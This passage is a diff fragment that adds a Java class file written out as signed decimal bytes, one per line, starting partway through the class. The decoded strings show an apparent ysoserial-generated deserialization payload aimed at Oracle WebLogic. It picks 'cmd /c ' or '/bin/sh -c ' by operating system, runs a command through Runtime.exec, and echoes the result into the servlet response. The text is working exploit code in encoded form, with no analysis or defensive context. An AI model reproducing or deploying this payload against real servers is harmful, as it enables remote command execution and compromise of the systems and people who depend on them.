+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 58
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 60
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 62
+
+
+ 0
+
+
+ 63
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 64
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 71
+
+
+ 66
+
+
+ 75
+
+
+ 8
+
+
+ 0
+
+
+ 66
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 115
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 69
+
+
+ 110
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 72
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 74
+
+
+ 0
+
+
+ 75
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 76
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 78
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 80
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 34
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 97
+
+
+ 112
+
+
+ 112
+
+
+ 101
+
+
+ 110
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 83
+
+
+ 0
+
+
+ 84
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 85
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 32
+
+
+ 58
+
+
+ 32
+
+
+ 13
+
+
+ 10
+
+
+ 8
+
+
+ 0
+
+
+ 87
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 116
+
+
+ 111
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 91
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 79
+
+
+ 0
+
+
+ 93
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 95
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 24
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 97
+
+
+ 0
+
+
+ 98
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 102
+
+
+ 108
+
+
+ 117
+
+
+ 115
+
+
+ 104
+
+
+ 12
+
+
+ 0
+
+
+ 101
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 102
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 111
+
+
+ 115
+
+
+ 46
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 8
+
+
+ 0
+
+
+ 104
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 121
+
+
+ 115
+
+
+ 116
+
+
+ 101
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 106
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 121
+
+
+ 12
+
+
+ 0
+
+
+ 108
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 7
+
+
+ 0
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 116
+
+
+ 111
+
+
+ 76
+
+
+ 111
+
+
+ 119
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 97
+
+
+ 115
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ 113
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 119
+
+
+ 105
+
+
+ 110
+
+
+ 8
+
+
+ 0
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 99
+
+
+ 111
+
+
+ 110
+
+
+ 116
+
+
+ 97
+
+
+ 105
+
+
+ 110
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 83
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 110
+
+
+ 99
+
+
+ 101
+
+
+ 59
+
+
+ 41
+
+
+ 90
+
+
+ 12
+
+
+ 0
+
+
+ 118
+
+
+ 0
+
+
+ 119
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 120
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ 122
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 124
+
+
+ 0
+
+
+ 125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ 126
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 32
+
+
+ 47
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -128
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 101
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 39
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -126
+
+
+ 0
+
+
+ -125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ -124
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 47
+
+
+ 98
+
+
+ 105
+
+
+ 110
+
+
+ 47
+
+
+ 115
+
+
+ 104
+
+
+ 32
+
+
+ 45
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -122
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 101
+
+
+ 100
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -120
+
+
+ 1
+
+
+ 0
+
+
+ 25
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -118
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ -116
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -114
+
+
+ 0
+
+
+ -113
+
+
+ 10
+
+
+ 0
+
+
+ -115
+
+
+ 0
+
+
+ -112
+
+
+ 1
+
+
+ 0
+
+
+ 42
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -110
+
+
+ 10
+
+
+ 0
+
+
+ -117
+
+
+ 0
+
+
+ -109
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -107
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -106
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ -104
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -102
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -101
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -99
+
+
+ 0
+
+
+ -98
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ -97
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -95
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -93
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -94
+
+
+ 0
+
+
+ -92
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 7
+
+
+ 0
+
+
+ -90
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -88
+
+
+ 0
+
+
+ -87
+
+
+ 9
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ -86
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 111
+
+
+ 119
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ -84
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ 91
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ -81
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 108
+
+
+ 110
+
+
+ 12
+
+
+ 0
+
+
+ -79
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -80
+
+
+ 0
+
+
+ -78
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -76
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ -75
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 59
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 63
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
